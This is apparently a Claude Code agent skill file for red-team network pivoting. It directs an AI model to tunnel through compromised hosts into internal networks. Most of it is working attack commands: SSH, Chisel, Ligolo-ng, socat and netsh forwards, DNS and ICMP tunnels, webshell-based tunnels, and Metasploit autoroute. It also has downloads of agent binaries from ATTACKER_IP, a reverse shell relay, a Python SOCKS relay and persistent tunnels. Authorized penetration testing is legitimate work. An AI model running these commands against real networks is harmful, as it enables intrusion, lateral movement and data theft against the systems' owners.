Network pivoting, port forwarding, and tunneling through compromised hosts to reach internal networks.
Install
npx skillscat add blacklanternsecurity/red-run/pivoting-tunneling Install via the SkillsCat registry.
Pivoting and Tunneling
You are helping a penetration tester pivot through compromised hosts to reach
internal networks. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[pivoting-tunneling] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with
descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.
State Management
Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- At least one compromised host with access to the target network
- Know the target subnet or specific internal hosts to reach
- Know what's available on the compromised host (SSH, outbound connectivity,
installed tools, OS)
Privileged Commands
Claude Code cannot execute sudo commands. The following tools require root
on the attacker machine and must be handed off to the user:
- ssh -w (VPN/tun mode) — creates tun device (requires
PermitTunnelon both ends) - ip addr / ip link / ip route / ip tuntap — network interface and route configuration
- iptables — NAT/masquerade rules for tunnel routing
- sshuttle — transparent proxy (needs root for iptables rules)
- iodined / iodine — DNS tunnel server/client (needs tun device)
- hans — ICMP tunnel (needs raw sockets)
- ptunnel-ng — ICMP tunnel (needs raw sockets)
Handoff protocol:
- Present the full command including
sudoto the user - For multi-step setups (e.g., create tun + add route + add NAT), batch
all commands so the user can run them sequentially - Verify connectivity after the user confirms completion
- Continue with proxychains configuration and tool usage
Non-privileged commands Claude can execute directly:
- SSH port forwarding:
ssh -L,ssh -R,ssh -D,ssh -J(jump hosts) - Chisel (client/server as user binary)
- Ligolo-ng agent (on pivot host)
- Socat port forwarding
- Plink (Windows SSH)
- Proxychains configuration and usage
- FRP client/server
Note: Ligolo-ng proxy setup requires root on the attacker machine
(ip tuntap add, ip link set, ip route add). The agent on the
pivot host runs unprivileged.
Tool Selection Decision Tree
Choose the right tool based on what's available:
What access do you have on the pivot host?
│
├─ SSH access (port 22 open to you)
│ ├─ Need to reach a single port? → SSH Local Forward (-L)
│ ├─ Need a full SOCKS proxy? → SSH Dynamic Forward (-D)
│ ├─ Need to expose a service back to you? → SSH Remote Forward (-R)
│ ├─ Need transparent subnet access? → sshuttle
│ └─ Need full layer-3 VPN? → SSH VPN (tun device)
│
├─ Shell access (no SSH, but have outbound connectivity)
│ ├─ Can upload tools?
│ │ ├─ Need full subnet routing? → Ligolo-ng
│ │ ├─ Need SOCKS proxy? → Chisel reverse SOCKS
│ │ └─ Need simple port forward? → Chisel or socat
│ └─ Cannot upload tools?
│ ├─ Bash available? → /dev/tcp relay
│ └─ Python available? → Python SOCKS proxy
│
├─ Only HTTP(S) outbound
│ ├─ Webshell on target? → reGeorg / neo-reGeorg
│ └─ Can upload binary? → Chisel (HTTP tunnel mode)
│
├─ Only DNS outbound
│ └─ dnscat2 or iodine
│
├─ Only ICMP outbound
│ └─ hans or ptunnel-ng
│
├─ Windows host (no SSH)
│ ├─ RDP access? → SocksOverRDP + Proxifier
│ ├─ Admin access? → netsh portproxy
│ └─ User access? → plink (PuTTY CLI), Chisel, or Ligolo-ng
│
└─ Through a corporate proxy (NTLM auth)
└─ rpivot or cntlm + ChiselStep 1: SSH Tunneling
SSH is the preferred pivoting tool — it's native, encrypted, leaves minimal
forensic artifacts, and is already present on most Linux/macOS systems.
Local Port Forward (-L)
Forward a port on your attack machine to a service on/behind the pivot host.
# Forward local port 8080 to internal host 10.10.10.5 port 80 through pivot
ssh -L 8080:10.10.10.5:80 user@PIVOT_IP
# Then access: http://127.0.0.1:8080
# Forward to a service on the pivot host itself
ssh -L 3306:127.0.0.1:3306 user@PIVOT_IP
# Multiple forwards in one connection
ssh -L 8080:10.10.10.5:80 -L 445:10.10.10.5:445 -L 3389:10.10.10.10:3389 user@PIVOT_IP
# Background the tunnel (no interactive shell)
ssh -L 8080:10.10.10.5:80 -N -f user@PIVOT_IP
# -N = no remote command, -f = background after authUse case: Access a specific internal service (web app, database, RDP) through
the pivot. Simple, reliable, no tools needed.
Dynamic SOCKS Proxy (-D)
Create a SOCKS proxy on your attack machine that routes traffic through the pivot.
# SOCKS5 proxy on local port 1080
ssh -D 1080 user@PIVOT_IP -N -f
# Then use with proxychains
proxychains nmap -sT -sV -p- 10.10.10.5
proxychains curl http://10.10.10.5/
proxychains firefox
# Or configure tools directly
curl --socks5 127.0.0.1:1080 http://10.10.10.5/
nmap --proxies socks4://127.0.0.1:1080 -sT 10.10.10.5proxychains configuration (/etc/proxychains4.conf or ~/.proxychains/proxychains.conf):
[ProxyList]
socks5 127.0.0.1 1080Use case: Route arbitrary traffic to the internal network. Works with most
tools via proxychains. Preferred when you need to scan or interact with
multiple internal hosts.
Note: SOCKS proxies only handle TCP. UDP and ICMP don't traverse SOCKS.
This means ping won't work, nmap must use -sT (connect scan) not -sS
(SYN scan), and UDP services need a different approach.
Remote Port Forward (-R)
Expose a port from the pivot host (or internal network) back to your attack machine.
Useful when the pivot can reach you but you can't initiate connections to it.
# Expose pivot's port 80 as port 8080 on your attack machine
ssh -R 8080:127.0.0.1:80 attacker@ATTACKER_IP -N -f
# Expose internal host through pivot
ssh -R 8080:10.10.10.5:80 attacker@ATTACKER_IP -N -f
# Reverse SOCKS proxy (pivot sends SOCKS back to attacker)
ssh -R 1080 attacker@ATTACKER_IP -N -f
# Requires GatewayPorts yes in attacker's sshd_configUse case: Pivot host can reach your attacker machine but you can't reach the
pivot directly (e.g., NAT, firewall, VPN). Run the SSH command from the pivot.
SSH Escape Sequence (~C)
Add forwards to an existing SSH session without disconnecting.
# In an active SSH session, press Enter then ~C
ssh> -L 8080:10.10.10.5:80
Forwarding port.
ssh> -D 1080
Forwarding port.Useful when you realize you need a forward mid-session without losing your shell.
ProxyJump (-J) — Multi-Hop
Chain SSH through multiple pivot hosts.
# Jump through PIVOT1 to reach PIVOT2
ssh -J user@PIVOT1_IP user@PIVOT2_IP
# Multiple jumps
ssh -J user@PIVOT1_IP,user@PIVOT2_IP user@FINAL_TARGET
# With SOCKS proxy on the final hop
ssh -J user@PIVOT1_IP -D 1080 user@PIVOT2_IP -N -f
# Equivalent ~/.ssh/config
Host pivot1
HostName PIVOT1_IP
User user
Host pivot2
HostName PIVOT2_IP
User user
ProxyJump pivot1
Host internal
HostName 10.10.10.5
User user
ProxyJump pivot2Use case: Multi-hop pivoting through several compromised hosts to reach
deeply segmented networks.
sshuttle — Transparent VPN over SSH
Routes traffic at the IP level — no SOCKS configuration needed. Tools work
natively without proxychains.
# Route all traffic to 10.10.10.0/24 through pivot
sshuttle -r user@PIVOT_IP 10.10.10.0/24
# Multiple subnets
sshuttle -r user@PIVOT_IP 10.10.10.0/24 172.16.0.0/16
# Exclude your SSH connection from being routed (important!)
sshuttle -r user@PIVOT_IP 10.10.10.0/24 -x PIVOT_IP
# DNS forwarding (also route DNS queries through pivot)
sshuttle --dns -r user@PIVOT_IP 10.10.10.0/24
# With SSH key
sshuttle -r user@PIVOT_IP --ssh-cmd "ssh -i /path/to/key" 10.10.10.0/24
# Verbose mode for troubleshooting
sshuttle -r user@PIVOT_IP 10.10.10.0/24 -vvvAdvantages over SSH -D:
- No proxychains needed — tools work natively (including nmap -sS)
- UDP support (with
--method tproxyand root on attacker) - DNS forwarding
- Transparent to all applications
Limitations:
- Requires Python on the pivot host
- Requires root/sudo on the attacker machine (uses iptables/pf)
- Cannot route to the pivot host's own IP (use
-xto exclude)
Use case: Best option when you have SSH access and need transparent subnet
routing without configuring every tool for SOCKS.
SSH VPN (TUN Device)
Full layer-3 VPN using SSH's built-in tunnel support.
# On attacker (requires PermitTunnel yes in pivot's sshd_config)
sudo ssh -w 0:0 user@PIVOT_IP
# On attacker — configure tunnel interface
sudo ip addr add 10.0.0.1/30 dev tun0
sudo ip link set tun0 up
sudo ip route add 10.10.10.0/24 via 10.0.0.2
# On pivot — configure tunnel interface
sudo ip addr add 10.0.0.2/30 dev tun0
sudo ip link set tun0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/30 -o eth0 -j MASQUERADEUse case: Rarely needed — sshuttle handles most cases better. Use when you
need full layer-3 access including ICMP, UDP, and raw sockets, and the pivot's
sshd_config allows tunnel devices.
Step 2: Ligolo-ng
Full TUN-based tunnel with agent/proxy architecture. Provides transparent subnet
routing like sshuttle but works without SSH. The agent runs on the pivot; the
proxy runs on your attacker machine.
Setup
# On attacker — create TUN interface and start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy (listens for agent connections)
./proxy -selfcert -laddr 0.0.0.0:11601
# On pivot — run agent (connects back to attacker)
./agent -connect ATTACKER_IP:11601 -ignore-certRouting
# In Ligolo proxy console — select the agent session
session
# Select the session number
# Add route to internal subnet through the tunnel
sudo ip route add 10.10.10.0/24 dev ligolo
# Start the tunnel
start
# Verify routing
ip route | grep ligolo
ping 10.10.10.5 # Should work through the tunnelPort Forwarding (Listener)
Expose internal ports or redirect traffic through the agent.
# In Ligolo proxy console — forward attacker:8080 to internal 10.10.10.5:80
listener_add --addr 0.0.0.0:8080 --to 10.10.10.5:80 --tcp
# Forward pivot's local port back to attacker
listener_add --addr 0.0.0.0:3306 --to 127.0.0.1:3306 --tcp
# List listeners
listener_list
# Remove listener
listener_stop 0Double Pivot
Chain through multiple agents.
# Agent 1 connects to proxy on attacker
./agent -connect ATTACKER_IP:11601 -ignore-cert
# Add route to Agent 2's network
sudo ip route add 10.10.20.0/24 dev ligolo
# Add listener on Agent 1 to relay Agent 2's connection
# In proxy console (session 1):
listener_add --addr 0.0.0.0:11601 --to ATTACKER_IP:11601 --tcp
# Agent 2 connects through Agent 1
./agent -connect AGENT1_IP:11601 -ignore-cert
# Add route to Agent 2's internal network
sudo ip route add 10.10.30.0/24 dev ligoloTransfer Agent to Pivot
# Python HTTP server on attacker
python3 -m http.server 8000
# Download on pivot (Linux)
wget http://ATTACKER_IP:8000/agent -O /tmp/agent && chmod +x /tmp/agent
curl http://ATTACKER_IP:8000/agent -o /tmp/agent && chmod +x /tmp/agent
# Download on pivot (Windows)
certutil -urlcache -f http://ATTACKER_IP:8000/agent.exe C:\Windows\Temp\agent.exe
iwr http://ATTACKER_IP:8000/agent.exe -OutFile C:\Windows\Temp\agent.exeAdvantages:
- Full TUN interface — all tools work natively (nmap SYN scan, ping, UDP)
- No proxychains needed
- Works on both Linux and Windows pivots
- Clean agent/proxy architecture
- Built-in port forwarding
Limitations:
- Requires uploading a binary to the pivot (OPSEC consideration)
- TLS certificate fingerprint is detectable
- Requires root/sudo on attacker for TUN interface
Use case: Preferred non-SSH option. Best when you need transparent subnet
access and have the ability to upload a binary.
Step 3: Chisel
Reverse SOCKS proxy and port forwarding over HTTP. Works through HTTP proxies
and firewalls that allow outbound HTTP/HTTPS.
Reverse SOCKS Proxy
# On attacker — start Chisel server
./chisel server --reverse --port 8000
# On pivot — connect back and create reverse SOCKS
./chisel client ATTACKER_IP:8000 R:socks
# SOCKS5 proxy is now available at 127.0.0.1:1080 on attacker
# Configure proxychains:
# socks5 127.0.0.1 1080
# Then use:
proxychains nmap -sT -sV 10.10.10.5
proxychains curl http://10.10.10.5/Port Forwarding
# Forward attacker:8080 to internal 10.10.10.5:80 through pivot
# On attacker:
./chisel server --reverse --port 8000
# On pivot:
./chisel client ATTACKER_IP:8000 R:8080:10.10.10.5:80
# Forward multiple ports
./chisel client ATTACKER_IP:8000 R:8080:10.10.10.5:80 R:445:10.10.10.5:445 R:3389:10.10.10.10:3389
# Local forward (from pivot's perspective)
./chisel client ATTACKER_IP:8000 8080:10.10.10.5:80Through an HTTP Proxy
# Chisel through a corporate proxy
./chisel client --proxy http://PROXY_IP:3128 ATTACKER_IP:8000 R:socks
# With proxy authentication
./chisel client --proxy http://user:pass@PROXY_IP:3128 ATTACKER_IP:8000 R:socksTLS Encryption
# Server with TLS (looks like HTTPS traffic)
./chisel server --reverse --port 443 --tls-key server.key --tls-cert server.crt
# Client
./chisel client --fingerprint SERVER_FINGERPRINT ATTACKER_IP:443 R:socksTransfer Chisel to Pivot
# Linux
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
# Windows
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe
iwr http://ATTACKER_IP:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exeAdvantages:
- Single binary, cross-platform
- Works through HTTP proxies
- TLS support (blends with HTTPS traffic)
- Reverse connections (pivot connects to you)
Limitations:
- SOCKS proxy only (no transparent routing like Ligolo-ng)
- Requires proxychains for most tools
- Binary upload required (detectable by EDR)
Use case: When SSH isn't available and you need a SOCKS proxy. Excels in
environments with restrictive firewalls that only allow HTTP/HTTPS outbound.
Step 4: socat
Swiss-army knife for network relaying. Useful for simple port forwards and
bidirectional connections.
Port Forwarding
# Forward pivot:8080 to internal host 10.10.10.5:80
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80
# Background it
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80 &
# With bind address (listen only on specific interface)
socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.10.5:80Encrypted Relay
# Generate cert (on attacker)
openssl req -newkey rsa:2048 -nodes -keyout relay.key -x509 -days 365 -out relay.crt
cat relay.key relay.crt > relay.pem
# SSL-encrypted relay
socat OPENSSL-LISTEN:443,cert=relay.pem,verify=0,fork TCP:10.10.10.5:80Reverse Shell Relay
# Relay through pivot to reach attacker's listener
# On pivot — forward pivot:4444 to attacker:4444
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
# Target's reverse shell connects to PIVOT_IP:4444
# Traffic relayed to ATTACKER_IP:4444UDP Relay
# Forward UDP (e.g., for DNS or SNMP)
socat UDP-LISTEN:53,fork UDP:10.10.10.5:53Use case: Quick port forwards on a pivot host. Often already installed.
No SOCKS support — use for forwarding specific ports.
Step 5: Windows Pivoting
netsh portproxy (Built-in, Admin Required)
# Forward pivot:8080 to internal 10.10.10.5:80
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.10.5
# Forward pivot:4445 to internal 10.10.10.5:445
netsh interface portproxy add v4tov4 listenport=4445 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.10.5
# List all forwards
netsh interface portproxy show all
# Remove a forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
# Open firewall for the forwarded port
netsh advfirewall firewall add rule name="pivot_8080" protocol=TCP dir=in localport=8080 action=allowAdvantages: Built-in, no tools to upload. Limitations: Admin required,
TCP only, no SOCKS, no encryption. Each forward is a separate rule.
plink (PuTTY CLI)
# Dynamic SOCKS proxy (like ssh -D)
plink.exe -ssh -D 1080 -N user@ATTACKER_IP
# Local port forward
plink.exe -ssh -L 8080:10.10.10.5:80 -N user@ATTACKER_IP
# Remote port forward (reverse)
plink.exe -ssh -R 8080:10.10.10.5:80 -N user@ATTACKER_IP
# Non-interactive (accept host key automatically)
echo y | plink.exe -ssh -D 1080 -N -pw PASSWORD user@ATTACKER_IPUse case: SSH-style tunneling from a Windows pivot. Requires plink.exe
upload but familiar SSH syntax.
SocksOverRDP
Creates a SOCKS proxy over an existing RDP session.
# Setup:
# 1. On attacker: place SocksOverRDP-Plugin.dll and SocksOverRDP-Server.exe
# 2. Connect via RDP to pivot
# 3. In RDP session, run SocksOverRDP-Server.exe
# 4. Load SocksOverRDP-Plugin.dll in mstsc (register as RDP virtual channel)
# 5. SOCKS proxy available on attacker at 127.0.0.1:1080# On pivot (in RDP session)
.\SocksOverRDP-Server.exe
# On attacker — configure Proxifier or proxychains
# SOCKS5 127.0.0.1 1080Use case: When you only have RDP access to the pivot and need to proxy
tools through it. Requires Proxifier on Windows attacker or proxychains on Linux.
Chisel / Ligolo-ng on Windows
Both have Windows binaries. Usage is identical to the Linux sections above:
# Chisel reverse SOCKS from Windows pivot
.\chisel.exe client ATTACKER_IP:8000 R:socks
# Ligolo-ng agent from Windows pivot
.\agent.exe -connect ATTACKER_IP:11601 -ignore-certStep 6: DNS Tunneling
When only DNS traffic can leave the network. Slow but effective for exfiltration
and basic command channels.
dnscat2
# On attacker — start DNS server
ruby dnscat2.rb tunnel.attacker.com
# On pivot — connect via DNS
./dnscat tunnel.attacker.com
# In dnscat2 console:
# List sessions
sessions
# Interact with session
session -i 1
# Port forward through DNS tunnel
listen 127.0.0.1:8080 10.10.10.5:80
# Spawn a shell
shelliodine
Full IP tunnel over DNS (higher throughput than dnscat2).
# On attacker — start iodine server (needs root + real DNS delegation)
sudo iodined -f -c -P password 10.0.0.1/24 tunnel.attacker.com
# On pivot — connect
sudo iodine -f -P password tunnel.attacker.com
# TUN interface created — route traffic through it
# On attacker:
sudo ip route add 10.10.10.0/24 via 10.0.0.2Requirements: Attacker must own a domain with NS record pointing to the
attacker's IP. DNS (port 53 UDP) must be allowed outbound from pivot.
Use case: Last resort when HTTP/TCP egress is blocked but DNS is allowed.
Slow (10-50 KB/s typical) but functional for C2 and light scanning.
Step 7: ICMP Tunneling
When only ICMP (ping) traffic can leave the network.
hans
# On attacker
sudo ./hans -s 10.0.0.1 -p password
# On pivot
sudo ./hans -c ATTACKER_IP -p password
# TUN interface created — route through it
sudo ip route add 10.10.10.0/24 via 10.0.0.100ptunnel-ng
# On attacker — start ICMP tunnel server
sudo ./ptunnel-ng -r ATTACKER_IP -R 22
# On pivot — connect through ICMP
sudo ./ptunnel-ng -p ATTACKER_IP -l 2222 -r 127.0.0.1 -R 22
# Now SSH through the ICMP tunnel
ssh -p 2222 user@127.0.0.1Use case: Extremely restricted environments. Requires root/sudo on both ends.
Very slow, but proves connectivity for exfiltration.
Step 8: HTTP Tunneling (Webshell-Based)
When you only have webshell access (no interactive shell) on the pivot.
neo-reGeorg
# On attacker — generate tunnel webshell
python neoreg.py generate -k password
# Upload the appropriate webshell to the target web server:
# tunnel.aspx, tunnel.php, tunnel.jsp, tunnel.ashx
# Start the tunnel (creates SOCKS proxy)
python neoreg.py -k password -u http://TARGET_IP/tunnel.php
# SOCKS proxy available at 127.0.0.1:1080
proxychains nmap -sT 10.10.10.0/24rpivot (NTLM Proxy Bypass)
For environments behind an NTLM-authenticating proxy.
# On attacker
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
# On pivot
python client.py --server-ip ATTACKER_IP --server-port 9999
# With NTLM proxy auth
python client.py --server-ip ATTACKER_IP --server-port 9999 --ntlm-proxy-ip PROXY_IP --ntlm-proxy-port 8080 --domain CORP --username user --password passUse case: Corporate environments with NTLM-authenticated proxies that block
direct outbound connections.
Step 9: Metasploit Pivoting
When using Metasploit for the overall engagement.
# After getting a Meterpreter session
# Add route to internal network through session
run autoroute -s 10.10.10.0/24
# Or manually
route add 10.10.10.0 255.255.255.0 SESSION_ID
# List routes
route print
# Start SOCKS proxy module
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
# Port forward through session
portfwd add -l 8080 -p 80 -r 10.10.10.5
# List forwards
portfwd list
# Remove forward
portfwd delete -l 8080 -p 80 -r 10.10.10.5proxychains with Metasploit SOCKS:
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080Use case: When already in Metasploit. Autoroute makes all Metasploit modules
work through the pivot transparently.
Step 10: FRP (Fast Reverse Proxy)
Advanced reverse proxy with dashboard and configuration file.
# frps.toml (on attacker)
[common]
bind_port = 7000
# frpc.toml (on pivot)
[common]
server_addr = ATTACKER_IP
server_port = 7000
# SOCKS5 proxy
[[proxies]]
name = "socks5"
type = "tcp"
remote_port = 1080
[proxies.plugin]
type = "socks5"
# Port forward
[[proxies]]
name = "web"
type = "tcp"
local_ip = "10.10.10.5"
local_port = 80
remote_port = 8080# On attacker
./frps -c frps.toml
# On pivot
./frpc -c frpc.tomlUse case: Long-running tunnels with multiple forwards. Configuration file
approach is cleaner for complex setups.
Step 11: Public Tunnel Services
For scenarios where the pivot has internet access but the attacker doesn't have
a public IP.
# ngrok (TCP tunnel — requires ngrok account)
ngrok tcp 4444
# Gives you a public URL like tcp://0.tcp.ngrok.io:12345
# Point reverse shells at this address
# cloudflared (Cloudflare Tunnel — free)
cloudflared tunnel --url tcp://localhost:4444OPSEC warning: Traffic goes through third-party infrastructure. Only use in
CTF/lab environments. Not appropriate for real engagements.
Step 12: Multi-Hop Scenarios
Chaining pivots through multiple compromised hosts.
Double Pivot with SSH
# Method 1: ProxyJump (cleanest)
ssh -J user@PIVOT1 -D 1080 user@PIVOT2 -N -f
# SOCKS proxy routes: attacker → PIVOT1 → PIVOT2 → internal network
# Method 2: Chain sshuttle
# First hop
sshuttle -r user@PIVOT1 PIVOT2_SUBNET/24 -x PIVOT1_IP
# Second hop (runs through first tunnel)
sshuttle -r user@PIVOT2 INTERNAL_SUBNET/24 -x PIVOT2_IPDouble Pivot with Ligolo-ng
See Step 2 "Double Pivot" section — use listener chaining.
Double Pivot with Chisel
# Attacker: Chisel server
./chisel server --reverse --port 8000
# PIVOT1: Client → reverse SOCKS + server for next hop
./chisel client ATTACKER_IP:8000 R:socks &
./chisel server --port 9000
# PIVOT2: Client → connects through PIVOT1 to ATTACKER
# (need proxychains on PIVOT1, or use Chisel's built-in forward)
./chisel client PIVOT1_IP:9000 R:1081:socks
# proxychains config with chained SOCKS:
# socks5 127.0.0.1 1081 (for traffic through both pivots)Proxychains Chaining
# /etc/proxychains4.conf
# Chain multiple proxies (strict = must traverse all in order)
strict_chain
[ProxyList]
socks5 127.0.0.1 1080 # First pivot
socks5 127.0.0.1 1081 # Second pivotStep 13: Verifying Tunnel Connectivity
After establishing any tunnel, verify it works before proceeding.
# Through SOCKS proxy
proxychains curl -s http://10.10.10.5/ -o /dev/null -w "%{http_code}\n"
proxychains nc -zv 10.10.10.5 445
# Through transparent tunnel (sshuttle, Ligolo-ng)
ping -c 3 10.10.10.5
nmap -sT -p445 10.10.10.5
curl http://10.10.10.5/
# Through local port forward
curl http://127.0.0.1:8080/
nc -zv 127.0.0.1 8080
# DNS resolution through tunnel
proxychains nslookup dc01.corp.local 10.10.10.1
proxychains dig @10.10.10.1 corp.localCommon verification issues:
| Symptom | Cause | Fix |
|---|---|---|
| Connection refused | Tunnel not running or wrong port | Check tunnel process, verify port numbers |
| Connection timeout | Firewall or routing issue | Check routes, verify pivot can reach target |
| DNS not resolving | DNS not routed through tunnel | Use --dns with sshuttle, or set DNS server explicitly |
| nmap SYN scan fails | SOCKS proxy doesn't support raw sockets | Use -sT (connect scan) with proxychains |
| Tools hang with proxychains | Tool not compatible with SOCKS | Use transparent tunnel (sshuttle/Ligolo-ng) instead |
Step 14: Tool Compatibility with SOCKS Proxies
Not all tools work through proxychains. This table covers common pentesting tools:
| Tool | proxychains | Notes |
|---|---|---|
| nmap | Partial | Must use -sT (connect scan), no SYN/UDP/ping |
| curl / wget | Yes | Works natively with --socks5 too |
| netexec | Yes | Works well through proxychains |
| impacket-* | Yes | Most tools work; some need --dc-ip explicitly |
| sqlmap | Yes | Works through proxychains |
| gobuster / ffuf | Yes | May be slow; reduce threads |
| nikto | Yes | Works through proxychains |
| hydra | Yes | Use -s for port if forwarded |
| smbclient | Yes | Works through proxychains |
| evil-winrm | Yes | Works through proxychains |
| bloodhound-python | Yes | Needs --dns-tcp and --dc-ip |
| Burp Suite | Configure | Set SOCKS proxy in Burp's settings |
| Firefox | Configure | Set SOCKS proxy in network settings, enable DNS over SOCKS |
| Metasploit | Partial | Use set Proxies socks5:127.0.0.1:1080 |
| responder | No | Needs raw sockets — use transparent tunnel |
| ping | No | ICMP not supported over SOCKS |
For tools that don't work with SOCKS, use sshuttle or Ligolo-ng for
transparent routing.
Step 15: Maintaining Persistent Tunnels
Keep-alive and Reconnection
# SSH with keep-alive (prevent timeout)
ssh -D 1080 -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@PIVOT_IP -N -f
# autossh (auto-reconnect on failure)
autossh -M 0 -D 1080 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -N -f user@PIVOT_IP
# Chisel with reconnect
./chisel client --keepalive 25s ATTACKER_IP:8000 R:socksBackground Management
# Find SSH tunnel PIDs
ps aux | grep "ssh.*-D\|ssh.*-L\|ssh.*-R" | grep -v grep
# Kill specific tunnel
kill PID
# Find Chisel/Ligolo processes
ps aux | grep -E "chisel|agent|proxy" | grep -v grepScreen/tmux for Tunnel Management
# Dedicated tmux session for tunnels
tmux new -s tunnels
# Window 0: SSH SOCKS proxy
ssh -D 1080 user@PIVOT_IP -N
# Window 1: Ligolo-ng proxy
./proxy -selfcert -laddr 0.0.0.0:11601
# Window 2: Working shell (with proxychains)
proxychains bashStall Detection
If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.
What counts as progress:
- Trying a variant or alternative documented in this skill
- Adjusting syntax, flags, or parameters per the Troubleshooting section
- Gaining new diagnostic information (different error, partial success)
What does NOT count as progress:
- Writing custom exploit code not provided in this skill
- Inventing workarounds using techniques from other domains
- Retrying the same command with trivially different input
- Compiling or transferring tools not mentioned in this skill
If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.
Do not loop. Work through failures systematically:
- Try each variant or alternative once
- Check the Troubleshooting section for known fixes
- If nothing works after 5 rounds, you are stalled
When stalled, return to the orchestrator immediately with:
- What was attempted (commands, variants, alternatives tried)
- What failed and why (error messages, empty responses, timeouts)
- Assessment: blocked (permanent — config, patched, missing prereq) or
retry-later (may work with different context, creds, or access)
When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.
Troubleshooting
SSH tunnel dies after inactivity
Add keep-alive settings:
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 ...Or use autossh for automatic reconnection.
proxychains DNS leaks
By default proxychains may leak DNS. Fix in /etc/proxychains4.conf:
proxy_dns
# Ensure this line is uncommentedOr use sshuttle with --dns flag.
"Channel open failed" / "administratively prohibited"
The SSH server is blocking TCP forwarding. Check the pivot's /etc/ssh/sshd_config:
AllowTcpForwarding yes
GatewayPorts yes # For remote forwards binding to 0.0.0.0
PermitTunnel yes # For SSH VPN (tun device)If you can't modify sshd_config, use Chisel or Ligolo-ng instead.
Tunnel is slow
- Check bandwidth between attacker and pivot:
iperf3if available - Reduce parallel connections through the tunnel
- For SOCKS: reduce tool thread count (
ffuf -t 5,gobuster -t 5) - DNS tunnels are inherently slow (10-50 KB/s) — accept it or find HTTP egress
- Compression:
ssh -C -D 1080 user@PIVOT_IP(helps on slow links)
Cannot upload tools to pivot
Use techniques that don't require uploads:
- SSH tunneling (already on the host)
socat(often pre-installed)- Bash
/dev/tcprelays (no tools needed) - Python one-liners (if Python is available):
# Minimal SOCKS4 proxy in Python (run on pivot)
python3 -c "
import socket,select,threading
def relay(src,dst):
while True:
r,_,_ = select.select([src,dst],[],[],5)
if src in r:
d = src.recv(4096)
if not d: break
dst.sendall(d)
if dst in r:
d = dst.recv(4096)
if not d: break
src.sendall(d)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 1080))
s.listen(5)
print('SOCKS relay on :1080')
while True:
c,a = s.accept()
d = c.recv(9)
port = int.from_bytes(d[2:4],'big')
ip = socket.inet_ntoa(d[4:8])
c.sendall(b'\x00\x5a' + d[2:8])
r = socket.socket()
r.connect((ip,port))
threading.Thread(target=relay,args=(c,r),daemon=True).start()
"Ligolo-ng agent can't connect back
- Check firewall on attacker allows inbound on port 11601
- Check pivot has outbound access to attacker's IP
- Try a different port:
./proxy -selfcert -laddr 0.0.0.0:443 - If HTTP proxy required, use Chisel instead (has HTTP proxy support)
Windows pivot — no admin for netsh
Use plink, Chisel, or Ligolo-ng agent — all work as regular user.
# plink (no admin needed)
plink.exe -ssh -D 1080 -N user@ATTACKER_IP
# Chisel (no admin needed)
.\chisel.exe client ATTACKER_IP:8000 R:socks